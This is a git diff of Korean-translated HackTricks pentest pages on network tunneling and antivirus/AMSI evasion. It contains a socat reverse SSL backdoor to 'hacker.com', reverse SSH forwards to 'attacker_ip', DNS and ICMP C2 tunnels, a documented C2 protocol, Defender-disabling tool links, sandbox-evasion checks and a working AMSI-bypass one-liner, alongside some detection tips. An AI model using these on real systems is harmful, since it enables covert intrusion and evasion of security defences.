mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
22d92ce403
commit
6f6cfb60e9
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
두 장치 모두에서 **루트 권한이 필요**합니다(새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정에서 루트 로그인을 허용해야 합니다:\
|
||||
두 장치에서 **루트 권한이 필요합니다** (새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정에서 루트 로그인을 허용해야 합니다:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **보안 – 테라핀 공격 (CVE-2023-48795)**
|
||||
> 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드셰이크를 변조하고 **모든 포워딩 채널** ( `-L`, `-R`, `-D` )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되었는지 확인하세요 (**OpenSSH ≥ 9.6/LibreSSH 6.7**) 또는 SSH 터널에 의존하기 전에 취약한 `chacha20-poly1305@openssh.com` 및 `*-etm@openssh.com` 알고리즘을 `sshd_config`/`ssh_config`에서 명시적으로 비활성화하세요.
|
||||
> 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드셰이크를 조작하고 **모든 포워딩 채널** ( `-L`, `-R`, `-D` )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되었는지 확인하세요 (**OpenSSH ≥ 9.6/LibreSSH 6.7**) 또는 SSH 터널에 의존하기 전에 취약한 `chacha20-poly1305@openssh.com` 및 `*-etm@openssh.com` 알고리즘을 `sshd_config`/`ssh_config`에서 명시적으로 비활성화하세요.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -158,7 +158,7 @@ To note:
|
||||
|
||||
- Beacon의 리버스 포트 포워드는 **개별 머신 간의 중계가 아니라 Team Server로 트래픽을 터널링하기 위해 설계되었습니다**.
|
||||
- 트래픽은 **Beacon의 C2 트래픽 내에서 터널링됩니다**, P2P 링크를 포함하여.
|
||||
- **관리자 권한이 필요하지 않습니다** 고포트에서 리버스 포트 포워드를 생성하는 데.
|
||||
- **리버스 포트 포워드를 생성하는 데 관리자 권한이 필요하지 않습니다**.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
@ -178,7 +178,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
```
|
||||
## Chisel
|
||||
|
||||
You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)의 릴리스 페이지에서 다운로드할 수 있습니다.\
|
||||
**클라이언트와 서버에 동일한 버전을 사용해야 합니다.**
|
||||
|
||||
### socks
|
||||
@ -290,13 +290,13 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
이 줄을 희생자의 콘솔에서 마지막 줄 대신 실행하면 **비인증 프록시**를 우회할 수 있습니다:
|
||||
다음과 같이 피해자의 콘솔에서 마지막 줄 대신 이 줄을 실행하여 **비인증 프록시**를 우회할 수 있습니다:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tunnel
|
||||
### SSL Socat 터널
|
||||
|
||||
**/bin/sh 콘솔**
|
||||
|
||||
@ -335,7 +335,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
|
||||
|
||||
### Port2Port
|
||||
|
||||
로컬 관리자여야 합니다 (모든 포트에 대해)
|
||||
로컬 관리자가 되어야 합니다 (모든 포트에 대해)
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
||||
# Example:
|
||||
@ -364,7 +364,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
이제 공격자 머신에서 포트 1080이 수신 대기 중인지 확인하십시오:
|
||||
이제 공격자 머신에서 포트 1080이 수신 대기 중인지 확인하세요:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
@ -415,13 +415,13 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
터널은 매우 느릴 것입니다. 이 터널을 통해 압축된 SSH 연결을 생성하려면 다음을 사용하십시오:
|
||||
터널은 매우 느릴 것입니다. 이 터널을 통해 압축된 SSH 연결을 생성할 수 있습니다:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
### DNSCat2
|
||||
|
||||
[**여기에서 다운로드하세요**](https://github.com/iagox86/dnscat2)**.**
|
||||
[**여기에서 다운로드**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
DNS를 통해 C\&C 채널을 설정합니다. 루트 권한이 필요하지 않습니다.
|
||||
```bash
|
||||
@ -444,14 +444,47 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### Proxychains DNS 변경
|
||||
#### 프록시체인 DNS 변경
|
||||
|
||||
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 socks 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다 (하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
||||
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 socks 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2** (하드코딩됨)입니다. 이를 변경하려면 파일을 편집하세요: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경합니다. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
||||
|
||||
## Go에서의 터널
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
### 사용자 정의 DNS TXT / HTTP JSON C2 (AK47C2)
|
||||
|
||||
Storm-2603 행위자는 *단지* 아웃바운드 **DNS** 및 **일반 HTTP POST** 트래픽을 악용하는 **이중 채널 C2 ("AK47C2")**를 생성했습니다 – 기업 네트워크에서 거의 차단되지 않는 두 가지 프로토콜입니다.
|
||||
|
||||
1. **DNS 모드 (AK47DNS)**
|
||||
• 무작위 5자 SessionID (예: `H4T14`)를 생성합니다.
|
||||
• *작업 요청*에는 `1`을, *결과*에는 `2`를 접두사로 붙이고 다양한 필드(플래그, SessionID, 컴퓨터 이름)를 연결합니다.
|
||||
• 각 필드는 **ASCII 키 `VHBD@H`**로 XOR 암호화되고, 16진수로 인코딩되며 점으로 붙여져 최종적으로 공격자가 제어하는 도메인으로 끝납니다:
|
||||
|
||||
```text
|
||||
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com
|
||||
```
|
||||
|
||||
• 요청은 **TXT** (및 백업 **MG**) 레코드에 대해 `DnsQuery()`를 사용합니다.
|
||||
• 응답이 0xFF 바이트를 초과하면 백도어는 데이터를 63바이트 조각으로 분할하고 마커를 삽입합니다: `s<SessionID>t<TOTAL>p<POS>` 그래서 C2 서버가 이를 재정렬할 수 있습니다.
|
||||
|
||||
2. **HTTP 모드 (AK47HTTP)**
|
||||
• JSON 봉투를 만듭니다:
|
||||
```json
|
||||
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}
|
||||
```
|
||||
• 전체 블롭은 XOR-`VHBD@H` → 16진수 → **`POST /`**의 본문으로 전송됩니다. 헤더는 `Content-Type: text/plain`입니다.
|
||||
• 응답은 동일한 인코딩을 따르며 `cmd` 필드는 `cmd.exe /c <command> 2>&1`로 실행됩니다.
|
||||
|
||||
블루 팀 노트
|
||||
• 첫 번째 레이블이 긴 16진수이고 항상 하나의 희귀 도메인으로 끝나는 비정상적인 **TXT 쿼리**를 찾으세요.
|
||||
• 상수 XOR 키 뒤에 ASCII-16진수가 있는 것은 YARA로 쉽게 감지할 수 있습니다: `6?56484244?484` (`VHBD@H`의 16진수).
|
||||
• HTTP의 경우 순수 16진수이고 2바이트의 배수인 text/plain POST 본문에 플래그를 지정하세요.
|
||||
|
||||
{{#note}}
|
||||
전체 채널은 **표준 RFC 준수 쿼리** 내에 적합하며 각 서브 도메인 레이블을 63바이트 이하로 유지하여 대부분의 DNS 로그에서 은밀하게 유지됩니다.
|
||||
{{#endnote}}
|
||||
|
||||
## ICMP 터널링
|
||||
|
||||
### Hans
|
||||
@ -459,7 +492,7 @@ Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 soc
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
두 시스템 모두에서 루트 권한이 필요하며, ICMP 에코 요청을 사용하여 tun 어댑터를 생성하고 데이터 간에 터널링합니다.
|
||||
두 시스템 모두에서 루트 권한이 필요하여 tun 어댑터를 생성하고 ICMP 에코 요청을 사용하여 데이터 간에 터널링합니다.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -608,7 +641,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
위의 명령은 피해자의 포트 **8080**을 **attacker_ip:9000**으로 게시하며, 추가 도구를 배포하지 않고도 수행됩니다 – 이는 living-off-the-land 피벗에 이상적입니다.
|
||||
위 명령은 피해자의 포트 **8080**을 **attacker_ip:9000**으로 게시하며, 추가 도구를 배포하지 않고도 수행됩니다 – 이는 living-off-the-land 피벗에 이상적입니다.
|
||||
|
||||
## QEMU를 이용한 은밀한 VM 기반 터널
|
||||
|
||||
@ -653,12 +686,12 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
### 왜 이것이 탐지를 피하는가
|
||||
|
||||
• 두 개의 서명되지 않은 실행 파일(`qemu-system-*.exe`)만이 디스크에 접근하며, 드라이버나 서비스는 설치되지 않습니다.
|
||||
• 호스트의 보안 제품은 **무해한 루프백 트래픽**을 봅니다 (실제 C2는 VM 내부에서 종료됩니다).
|
||||
• 호스트의 보안 제품은 **무해한 루프백 트래픽**을 감지합니다(실제 C2는 VM 내부에서 종료됨).
|
||||
• 메모리 스캐너는 악성 프로세스 공간을 분석하지 않으며, 이는 다른 OS에 존재합니다.
|
||||
|
||||
### Defender 팁
|
||||
|
||||
• 사용자 쓰기 가능한 경로에 있는 **예상치 못한 QEMU/VirtualBox/KVM 바이너리**에 경고합니다.
|
||||
• 사용자 쓰기 가능한 경로에 **예상치 못한 QEMU/VirtualBox/KVM 바이너리**에 대한 경고를 설정합니다.
|
||||
• `qemu-system*.exe`에서 시작되는 아웃바운드 연결을 차단합니다.
|
||||
• QEMU 시작 직후 즉시 바인딩되는 드문 리스닝 포트(2222, 10022, …)를 추적합니다.
|
||||
|
||||
@ -672,5 +705,6 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
## 참고 문헌
|
||||
|
||||
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,19 @@
|
||||
|
||||
**이 페이지는** [**@m2rc_p**](https://twitter.com/m2rc_p)**에 의해 작성되었습니다!**
|
||||
|
||||
## Stop Defender
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender의 작동을 중지시키는 도구입니다.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): 다른 AV를 가장하여 Windows Defender의 작동을 중지시키는 도구입니다.
|
||||
- [관리자라면 Defender 비활성화](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **AV 회피 방법론**
|
||||
|
||||
현재 AV는 파일이 악성인지 여부를 확인하기 위해 정적 탐지, 동적 분석 및 더 발전된 EDR의 경우 행동 분석과 같은 다양한 방법을 사용합니다.
|
||||
현재 AV는 파일이 악성인지 여부를 확인하기 위해 정적 탐지, 동적 분석 및 더 고급 EDR의 경우 행동 분석과 같은 다양한 방법을 사용합니다.
|
||||
|
||||
### **정적 탐지**
|
||||
|
||||
정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고, 파일 자체에서 정보를 추출함으로써 이루어집니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 발각될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 방법은 몇 가지가 있습니다:
|
||||
정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고, 파일 자체에서 정보를 추출하여 달성됩니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 적발될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 몇 가지 방법이 있습니다:
|
||||
|
||||
- **암호화**
|
||||
|
||||
@ -22,10 +28,10 @@
|
||||
|
||||
- **커스텀 도구**
|
||||
|
||||
자신만의 도구를 개발하면 알려진 악성 서명이 없지만, 이는 많은 시간과 노력이 필요합니다.
|
||||
자신만의 도구를 개발하면 알려진 나쁜 서명이 없지만, 이는 많은 시간과 노력이 필요합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Windows Defender의 정적 탐지에 대한 좋은 확인 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나눈 다음 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 이진 파일에서 플래그가 지정된 문자열이나 바이트를 정확히 알 수 있습니다.
|
||||
> [!TIP]
|
||||
> Windows Defender의 정적 탐지에 대한 좋은 확인 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나누고 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 이진 파일에서 플래그가 지정된 문자열이나 바이트를 정확히 알 수 있습니다.
|
||||
|
||||
실용적인 AV 회피에 대한 이 [YouTube 재생목록](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)을 확인하는 것을 강력히 추천합니다.
|
||||
|
||||
@ -34,14 +40,14 @@
|
||||
동적 분석은 AV가 이진 파일을 샌드박스에서 실행하고 악성 활동을 감시하는 것입니다(예: 브라우저의 비밀번호를 복호화하고 읽으려 하거나, LSASS에서 미니 덤프를 수행하는 등). 이 부분은 다루기가 조금 더 까다로울 수 있지만, 샌드박스를 우회하기 위해 할 수 있는 몇 가지 방법이 있습니다.
|
||||
|
||||
- **실행 전 대기** 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔할 시간이 매우 짧기 때문에 긴 대기를 사용하면 이진 파일 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 대기를 건너뛸 수 있다는 것입니다.
|
||||
- **컴퓨터 자원 확인** 일반적으로 샌드박스는 작업할 수 있는 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 컴퓨터를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
|
||||
- **기계 특정 검사** "contoso.local" 도메인에 가입된 사용자를 타겟으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료하도록 할 수 있습니다.
|
||||
- **기계의 자원 확인** 일반적으로 샌드박스는 작업할 수 있는 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 기계를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
|
||||
- **기계 특정 검사** "contoso.local" 도메인에 가입된 사용자를 타겟으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료할 수 있습니다.
|
||||
|
||||
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발 전에 악성코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료하도록 할 수 있습니다.
|
||||
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발 전에 악성 코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료할 수 있습니다.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>출처: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
샌드박스에 대항하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 몇 가지 좋은 팁
|
||||
샌드박스에 대항하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 다른 좋은 팁들
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev 채널</p></figcaption></figure>
|
||||
|
||||
@ -49,14 +55,14 @@ Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발
|
||||
|
||||
예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 하나요**? 아니면 LSASS를 덤프하는 덜 알려진 다른 프로젝트를 사용할 수 있을까요?
|
||||
|
||||
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하는 것은 악몽이 될 수 있으므로, 달성하려는 목표에 대한 대안을 찾아보세요.
|
||||
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성 코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하는 것은 악몽이 될 수 있으므로, 달성하려는 목표에 대한 대안을 찾아보세요.
|
||||
|
||||
> [!NOTE]
|
||||
> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, 진지하게, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말이죠. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고, 결과에 만족할 때까지 그곳에서 테스트하세요.
|
||||
> [!TIP]
|
||||
> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말이죠. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요.
|
||||
|
||||
## EXE와 DLL
|
||||
|
||||
가능할 때마다 항상 **회피를 위해 DLL 사용을 우선시하세요**. 제 경험상 DLL 파일은 일반적으로 **탐지 및 분석이 훨씬 덜** 되므로, 경우에 따라 탐지를 피하기 위한 매우 간단한 트릭입니다(물론 페이로드가 DLL로 실행될 수 있는 방법이 있어야 합니다).
|
||||
가능할 때마다 **회피를 위해 DLL 사용을 우선시하세요**. 제 경험상 DLL 파일은 일반적으로 **탐지 및 분석이 훨씬 덜** 되므로, 경우에 따라 탐지를 피하기 위한 매우 간단한 트릭입니다(물론 페이로드가 DLL로 실행될 수 있는 방법이 있어야 합니다).
|
||||
|
||||
이 이미지에서 볼 수 있듯이, Havoc의 DLL 페이로드는 antiscan.me에서 4/26의 탐지율을 보이는 반면, EXE 페이로드는 7/26의 탐지율을 보입니다.
|
||||
|
||||
@ -104,14 +110,14 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 나는 **강력히 추천**합니다. [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)와 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청하여 우리가 논의한 내용을 더 깊이 배우는 것이 좋습니다.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze는 중단된 프로세스, 직접 시스템 호출 및 대체 실행 방법을 사용하여 EDR을 우회하기 위한 페이로드 툴킷입니다.`
|
||||
|
||||
Freeze를 사용하여 쉘코드를 은밀하게 로드하고 실행할 수 있습니다.
|
||||
Freeze를 사용하여 은밀한 방식으로 쉘코드를 로드하고 실행할 수 있습니다.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -120,12 +126,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
```
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 회피는 단순한 고양이와 쥐의 게임입니다. 오늘 작동하는 것이 내일 감지될 수 있으므로, 가능하다면 하나의 도구에만 의존하지 말고 여러 회피 기술을 연결해 보세요.
|
||||
|
||||
## AMSI (안티 맬웨어 스캔 인터페이스)
|
||||
|
||||
AMSI는 "[파일 없는 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 **메모리에서 직접 페이로드를 실행**할 수 있다면, AV는 이를 방지할 수 있는 충분한 가시성이 없었습니다.
|
||||
AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 **메모리에서 직접 페이로드를 실행**할 수 있다면, AV는 이를 방지할 수 있는 충분한 가시성이 없었습니다.
|
||||
|
||||
AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
|
||||
|
||||
@ -145,7 +151,7 @@ AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
|
||||
|
||||
우리는 디스크에 파일을 생성하지 않았지만, 여전히 AMSI 때문에 메모리에서 잡혔습니다.
|
||||
|
||||
게다가, **.NET 4.8**부터 C# 코드는 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`를 사용하여 메모리 실행을 로드하는 데에도 영향을 미칩니다. 따라서 AMSI를 회피하고 싶다면 낮은 버전의 .NET(예: 4.7.2 이하)을 사용하는 것이 권장됩니다.
|
||||
게다가, **.NET 4.8**부터 C# 코드도 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`를 사용하여 메모리 실행을 로드하는 데에도 영향을 미칩니다. 따라서 AMSI를 회피하고 싶다면 낮은 버전의 .NET(예: 4.7.2 이하)을 사용하는 것이 권장됩니다.
|
||||
|
||||
AMSI를 우회하는 방법은 몇 가지가 있습니다:
|
||||
|
||||
@ -161,7 +167,7 @@ AMSI는 powershell(또는 cscript.exe, wscript.exe 등) 프로세스에 DLL을
|
||||
|
||||
**오류 강제 발생**
|
||||
|
||||
AMSI 초기화를 실패하게 강제하면(amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 널리 사용되는 것을 방지하기 위해 서명을 개발했습니다.
|
||||
AMSI 초기화를 실패하게 강제하면(amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 넓은 사용을 방지하기 위해 서명을 개발했습니다.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
@ -185,9 +191,9 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
이 기술은 처음에 [@RastaMouse](https://twitter.com/_RastaMouse/)에 의해 발견되었으며, amsi.dll에서 "AmsiScanBuffer" 함수의 주소를 찾아 사용자 제공 입력을 스캔하는 역할을 하는 이 함수를 E_INVALIDARG 코드를 반환하는 명령어로 덮어쓰는 것을 포함합니다. 이렇게 하면 실제 스캔의 결과가 0으로 반환되어 깨끗한 결과로 해석됩니다.
|
||||
이 기술은 [@RastaMouse](https://twitter.com/_RastaMouse/)에 의해 처음 발견되었으며, amsi.dll에서 "AmsiScanBuffer" 함수의 주소를 찾아 사용자 제공 입력을 스캔하는 역할을 하는 이 함수를 E_INVALIDARG 코드를 반환하는 명령어로 덮어쓰는 것을 포함합니다. 이렇게 하면 실제 스캔의 결과가 0으로 반환되어 깨끗한 결과로 해석됩니다.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 더 자세한 설명은 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)를 읽어보세요.
|
||||
|
||||
PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은 기술도 있으며, [**이 페이지**](basic-powershell-for-pentesters/index.html#amsi-bypass)와 [**이 레포**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 알아보세요.
|
||||
@ -196,7 +202,7 @@ PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은
|
||||
|
||||
**Remove the detected signature**
|
||||
|
||||
현재 프로세스의 메모리에서 감지된 AMSI 서명을 제거하기 위해 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 및 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**와 같은 도구를 사용할 수 있습니다. 이 도구는 현재 프로세스의 메모리에서 AMSI 서명을 스캔한 다음 NOP 명령어로 덮어써서 메모리에서 효과적으로 제거합니다.
|
||||
현재 프로세스의 메모리에서 감지된 AMSI 서명을 제거하려면 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 및 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**와 같은 도구를 사용할 수 있습니다. 이 도구는 현재 프로세스의 메모리에서 AMSI 서명을 스캔한 다음 NOP 명령어로 덮어써서 메모리에서 효과적으로 제거합니다.
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
@ -215,25 +221,25 @@ PowerShell 로깅을 우회하려면 다음 기술을 사용할 수 있습니다
|
||||
|
||||
